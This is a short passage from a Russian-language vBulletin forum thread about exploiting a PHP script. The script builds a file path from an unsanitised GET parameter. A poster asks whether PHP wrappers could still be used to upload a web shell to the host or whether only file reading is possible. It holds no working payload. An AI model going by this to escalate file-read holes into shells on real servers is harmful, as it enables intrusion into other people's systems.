$imgName = './'.$_GET['f'];
if(file_exists($imgName)){
и использовать врапперы уже не получится.
А шелл с помощью врапперов на хост в данной ситуации можно залить? или "читалка" это предел возможностей?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot